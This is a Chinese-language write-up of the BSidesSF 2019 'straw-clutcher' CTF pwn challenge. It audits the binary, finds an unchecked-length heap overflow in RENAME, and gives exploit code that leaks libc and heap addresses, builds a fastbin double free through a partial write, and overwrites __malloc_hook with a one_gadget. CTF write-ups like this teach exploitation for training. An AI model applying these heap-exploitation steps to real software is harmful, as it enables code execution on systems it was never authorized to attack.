2019 BsidesSF straw-clucher PWN
前端時間有機會做了這個比賽的題目,當時一直在看WaterDragon這道題目,比賽結束了也沒有做出來。straw-clucher和WaterDragon這兩道題目相對於一般的pwn題目而言程式碼量較大一些,之前也很少接觸這種程式碼量比較大的題目,通常pwn題目考察的大多數是漏洞的利用,但這道題目考察的側重於原始碼的審計(當然也有例外,比如WaterDragon,找不到洞,大佬的wp我也找不到),所以記錄一下這類題目。
這道題目的程式碼大多數是字元的比較,第一眼看上去可能有點發蒙,但是仔細審計一下原始碼,可以發現程式結構並不複雜,許多字元的比較都是重複性的結構。程式內有許多的功能,比如login,site index,dele,put,dere,rename,trunc等。但是和題目有關的功能,只有put,dele,dere,rename這四個功能,分析一下這四功能,建議沒做過這種程式碼量比較大的pwn題的小夥伴自己去重新看看原始碼,分析一下其他的功能(所有功能都寫出來實在是太繁瑣了。。。)。
程式邏輯
“PUT FILE_NAME size”
首先明確一下輸入的格式,’PUT file_name size’,建立結構體,
程式會首先檢查輸入字串的前三個字元,如果是PUT則進入put功能。
下面是對file_name的檢查,file_name的結構必須是[A-Za-z0-9]+.[A-Za-z0-9]{3}這樣的,例如’AAA.AAA’,其實大量的程式碼都是在做這個檢查,看起來程式程式碼才會有這麼長。
然後就是對size的檢查,比較簡單,不展開講了。
下面是相對重要的部分,由下面幾條語句可以分析出這道題目的file_struct。
可以看出來,建立了一個0x48大小的結構體,並且將file_name放在了最開始的位置,然後在node+5×8的user_buffer已經在上面程式碼中被賦值為size),然後接著向下看。
根據我們輸入的size,會分配一個相應大小的chunk,並且進行輸入,並且將對應的chunk放在了node+8 6的地方。
最後是進行連結串列的連結,將最新加入的file放入head內,並且在node+8 8的地方放入前一個node的地址。
所以我們已經可以清楚的分析出程式的結構如下:
struct { char filename[0x28]; unsigned long data_size; char data; long dummy; 這種用來判斷data_size大小的標誌位,確定最後free data的時候使用free()還是用munmap()函式。 char* pre_file; }
RENAME old_name new_name
首先明確一下輸入格式: RENAME old_name new_name,對檔名字進行重新命名。
首先也是根據輸入前幾個字元RENAME來判斷進入相應功能,同樣對old_name new_name進行字元檢查。
下面是重點,漏洞出現的地方:
對於old_name進行了長度檢測,但是對於new_name沒有進行長度檢測,因為file那麼是佈置在heap上的,所以在heap上通過rename功能造成了溢位。
其實我們可以看到他對old_name的長度進行了兩次檢測,本意應該是對new_name old_name各進行一次檢測,可以看到在沒有加註釋以及程式碼量比較大的情況下,發現這個漏洞還是不太容易的。
RETR File_name
首先明確一下輸入格式: RETR file_name , 根據file_name輸出對應的data資訊。
前面也是字串匹配以及file_name字串檢測,他是根據file_name匹配相應的結構體,然後根據node_struct->size來列印data資訊的。
我們可以通過RRENAME功能溢位到heap,修改size長度,然後就可以洩露heap上的資訊,後面也正是利用這一種方式來洩露libc與heap的。
DELE file_name
輸入格式: DELE file_name ,刪除相應的檔案結構域。
前面同樣是重複性的字串匹配與file_name字串檢測。
後面通過node_strufct->pre_file欄位來遍歷所有的file結構體,根據file_name進行匹配,匹配成功後對node_struct->data node_struct進行free,然後在講node_struct從連結串列中剔除。
利用思路
首先我們明確了漏洞點位於RENAME環節,可以造成任意長度的heap溢位,但是對於溢位的字元有限制只能是[A-Za-z0-9]+.[A-Za-z0-9]{3}結構的。
我們可以首先通過PUT , DELE操作來malloc chunk 以及free chunk,使得heap libc資訊都出現在heap內,然後我們可以通過堆溢位修改node_struct->size欄位,通過RETR功能列印任意長度的資訊,從而我們可以獲得libc資訊以及heap資訊。
後面我們主要通過fastbin attack來賦寫malloc_hook為one_gadget來達成利用。
具體方式有兩種
一種是double free操作,後面我用的也是這一種方式。
第二種是構造overlapped chunk造成chunk的重疊,使chunk位於0x70大小的fastbin。我們可以通過rename來修改chunk的size使得size改大,然後free chunk。使得unsorted bin覆蓋一個大範圍,然後通過申請data環節的時候,構成fastbinattack。
利用過程
洩露libc
put('AAA.AAA',10,10*'A') rename('AAA.AAA','A'*(0x28+2-4)+'.AAA') # shrink the data_size to 0x4141 , to use the show() to leak libc and heap. put('BBB.BBB',0x90,'B'*0x90) put('CCC.CCC',0x10,'C'*0x10)#malloc a chunk bettwen the unsortedbin and the top_chunk delete('BBB.BBB') #make heap_addr and libc_add on the heap. show('A'*(0x28+2-4)+'.AAA')`
經過上面的操作,記憶體情況如下:
我們已經將AAA.AAA的檔案通過rename環節更名為’A’*(0x28+2-4)+’.AAA’並且造成data_size改為0x4141,足夠長來洩露libc heap,然後後面通過malloc hook操作使得libc_addr heap_addr都位於heap內,我們後面呼叫RETR功能就可以得到libc heap資訊。
構造double free
我們可以通過rename溢位,改寫pre_file欄位,是連結串列最終連線到我們自己寫的fake_file,然後使得fake_file->data指向一個已經被free掉的0x70大小的fastbin,然後通過DELE這個fake file來實現double free。
#make double free. fake_file = 'EEE.EEE'+'x00' + p64(0)*4 + p64(0x68) + p64(heap+0x210) + p64(0)*2 put('DDD.DDD',0x48,fake_file) put('FFF.FFF',0x68,'F'*0x68) put('GGG.GGG',0x68,'G'*0x68) delete('FFF.FFF') delete('GGG.GGG')`
可以看到經過上面的操作我們已經將fake_file的data欄位指向了fastbin,現在我們要通過rename溢位到pre_file欄位,使得DDD.DDD->pre—>pre_file指向fake_file。我們可以通過rename來partial write來達到這個效果。
rename('DDD.DDD','D'*(0x41-4)+'.DDP') # put the fake_file in the file_chain
可以看到通過partial write已經成功的將DDD.DDD的pre_file欄位指向了我們的fake_file,需要注意的是,因為我們rename環節輸入的字串受到限制,只能是[A-Za-z0-9]+.[A-Za-z0-9]{3},所以我們只能夠通過partial write來達成這一效果,並且要保證DDD.DDD->pre_file欄位的倒數第二個位元組與fake_file_addr的倒數第二個位元組相同,才能達成利用效果,這需要稍微考慮一下heap的佈局。
後面通過
free操作觸發double free.
delete('EEE.EEE') # trigger the double free.`
複寫malloc_hook為one_gadget
這一部分就比較簡單了
直接上程式碼
#write one_gadget on __malloc_hook payload_1 = p64(__malloc_hook-0x13) + (0x68-8)*"H" put('HHH.HHH',0x68,payload_1) put('III.III',0x68,'I'*0x68) put('JJJ.JJJ',0x68,'J'*0x68) payload_2 = 'K'*0x3 + p64(libc_base+0x4526a) payload_2 = payload_2.ljust(0x68,'K') put('KKK.KKK',0x68,payload_2) `
效果:
總結:
這道題目相較於一般的pwn題目,側重於原始碼審計能力,我接觸這種題目也不多,也算是收穫了一些東西。做這種程式碼量比較大的題目的時候,首先是要冷靜下來審計原始碼,分析清楚程式邏輯,這道題目最後來看其實程式邏輯和一般的pwn題目沒有什麼區別。
利用過程方面,因為對溢位的位元組做了限制,因此通過partial write來做,但注意的是要保持被修改地址以及目的地址的高位地址一致,這需要對heap的佈局稍微注意一下。其次用overlapped chunk應該也能對著到題目達成利用。
參考連結: https://github.com/merrychap/ctf-writeups/tree/master/2019/BSidesSF%202019%20CTF/straw_clutcher